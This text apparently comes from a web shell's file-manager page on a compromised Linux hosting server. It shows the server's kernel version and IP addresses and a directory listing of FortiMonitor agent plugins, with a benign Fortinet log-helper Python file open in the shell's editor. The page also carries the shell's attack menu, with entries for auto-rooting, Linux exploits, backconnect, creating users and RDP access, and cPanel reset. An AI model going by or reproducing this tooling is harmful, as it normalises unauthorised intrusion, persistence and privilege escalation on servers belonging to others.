Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.146.107.144
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
fm-agent /
countermeasures /
plugins /
[ HOME SHELL ]
Name
Size
Permission
Action
CountermeasureLogHelper.py
2.29
KB
-rw-r--r--
CountermeasurePlugin.py
3.5
KB
-rw-r--r--
CountermeasureScriptHelper.py
2.28
KB
-rw-r--r--
ServiceRestartHelper.py
4.5
KB
-rw-r--r--
__init__.py
592
B
-rw-r--r--
disk_cm.py
657
B
-rw-r--r--
dmesg.py
626
B
-rw-r--r--
netstat.py
638
B
-rw-r--r--
reboot.py
844
B
-rw-r--r--
sample.py
1.88
KB
-rw-r--r--
top.py
800
B
-rw-r--r--
users_cm.py
649
B
-rw-r--r--
vmstat.py
601
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CountermeasureLogHelper.py
""" FortiMonitor Countermeasure log helper - base class to allow easy gathering of diagnostic data from local log files. Copyright 2023 Fortinet, Inc. All Rights Reserved. fm-ops@fortinet.com To use, create a subclass of CountermeasureLogHelper and define the following properties: - name - A human-readable name for the countermeasure - textkey - A unique textkey describing the countermeasure - log_file: The log file or log files to gather. Either a string for a single file or a list of strings for multiple. Must specify the full path to the log file and the agent must have read access to the file - line_count: Count of lines to retrieve from the bottom of the log file(s) - description: Optional longer description of what the plugin does For example: class ApacheLogCountermeasure(CountermeasureLogHelper): name = "Apache logs" textkey = "logs.apache" description = "Get recent Apache logs" log_file = ["/var/log/apache/access.log", "/var/log/apache/error.log"] line_count = 100 """ from CountermeasurePlugin import CountermeasurePlugin class CountermeasureLogHelper(CountermeasurePlugin): wall_announce_delay = None max_frequency = None max_runtime = None sudo_requirements = [] author = "support@panopta.com" # The log file(s) to retrieve log_file = None # How many lines to capture line_count = 100 def validate(self): problems = [] if self.name == "Base Countermeasure": problems.append("Missing name definition") if self.textkey == "base": problems.append("Missing textkey definition") if self.log_file is None: problems.append("Missing log file definition") try: lines = int(self.line_count) except: problems.append("Invalid line count definition") return problems and ", ".join(problems) or None def run(self): if type(self.log_file) in (type(""), type(u"")): self.log_file = [self.log_file] output = "" for file in self.log_file: output += "%s:\n" % file return_code, sub_output = self. execute("tail -n %s %s" % (self.line_count, file)) output += sub_output output += "\n\n" self.save_text_output(output)
Close